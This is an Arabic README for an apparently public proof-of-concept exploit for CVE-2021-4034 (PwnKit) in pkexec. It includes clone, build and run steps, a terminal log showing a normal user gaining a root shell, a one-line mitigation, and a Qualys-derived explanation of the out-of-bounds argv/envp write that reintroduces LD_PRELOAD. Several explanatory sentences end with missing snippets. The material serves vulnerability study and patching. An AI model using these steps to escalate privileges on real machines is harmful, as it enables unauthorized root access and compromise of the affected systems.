
استغلال لإثبات المفهوم مكتوب بلغة سي لـ CVE-2021-4034 (PwnKit) يتيح تصعيد الامتيازات المحلية عبر كتابة خارج الحدود في pkexec. يتضمن تعليمات البناء وشرح الثغرة.
CVE-2021-4034
debian@debian:~/PwnKit-Exploit$ make
cc -Wall exploit.c -o exploit
debian@debian:~/PwnKit-Exploit$ whoami
debian
debian@debian:~/PwnKit-Exploit$ ./exploit
Current User before execute exploit
hacker@victim$whoami: debian
Exploit written by @luijait (0x6c75696a616974)
[+] Enjoy your root if exploit was completed succesfully
root@debian:/home/debian/PwnKit-Exploit# whoami
root
root@debian:/home/debian/PwnKit-Exploit#
| Command | الاستخدام |
|---|---|
sudo chmod 0755 pkexec | إصلاح CVE 2021-4034 |
git clone https://github.com/luijait/PwnKit-Exploit
cd PwnKit-Exploit
make
./exploit
whoami
| Command | الغرض |
|---|---|
make clean | تنظيف البناء لاختبار الكود المعدل |
مأخوذ من مدونة blog.qualys.com
دالة main() في بداية pkexec تعالج وسائط سطر الأوامر (الأسطر 534-568)، وتبحث عن البرنامج المراد تنفيذه، إذا لم يكن مساره مطلقًا، في أدلة متغير البيئة PATH (الأسطر 610-640):
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }
لسوء الحظ، إذا كان عدد وسائط سطر الأوامر argc يساوي 0 – مما يعني أن قائمة الوسائط argv التي نمررها إلى execve() فارغة، أي {NULL} – فإن argv[0] يكون NULL. هذا هو فاصل قائمة الوسائط. لذلك:
ولكن ما الذي يُقرأ ويُكتب بالضبط من argv[1] خارج الحدود هذا؟
للإجابة على هذا السؤال، يجب أن نستطرد قليلاً. عندما ننفذ execve() برنامجًا جديدًا، تقوم النواة بنسخ وسائطنا وسلاسل البيئة والمؤشرات (argv و envp) إلى نهاية مكدس البرنامج الجديد؛ على سبيل المثال:
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
من الواضح، نظرًا لأن مؤشرات argv و envp متجاورة في الذاكرة، إذا كان argc يساوي 0، فإن argv[1] خارج الحدود هو في الواقع envp[0]، المؤشر إلى أول متغير بيئة لدينا، "value". وبالتالي:
إذاً، بشكل أكثر دقة:
بعبارة أخرى، تسمح لنا هذه الكتابة خارج الحدود بإعادة إدخال متغير بيئة "غير آمن" (على سبيل المثال، LD_PRELOAD) في بيئة pkexec. هذه المتغيرات "غير الآمنة" يتم إزالتها بشكل طبيعي (بواسطة ld.so) من بيئة برامج SUID قبل استدعاء دالة main(). سنستغل هذه البدائية القوية في القسم التالي.
ملاحظة في اللحظة الأخيرة: polkit يدعم أيضًا أنظمة تشغيل غير Linux مثل Solaris و *BSD، لكننا لم نتحقق من قابليتها للاستغلال. ومع ذلك، نلاحظ أن OpenBSD غير قابل للاستغلال، لأن نواتها ترفض تنفيذ execve() لبرنامج إذا كان argc يساوي 0.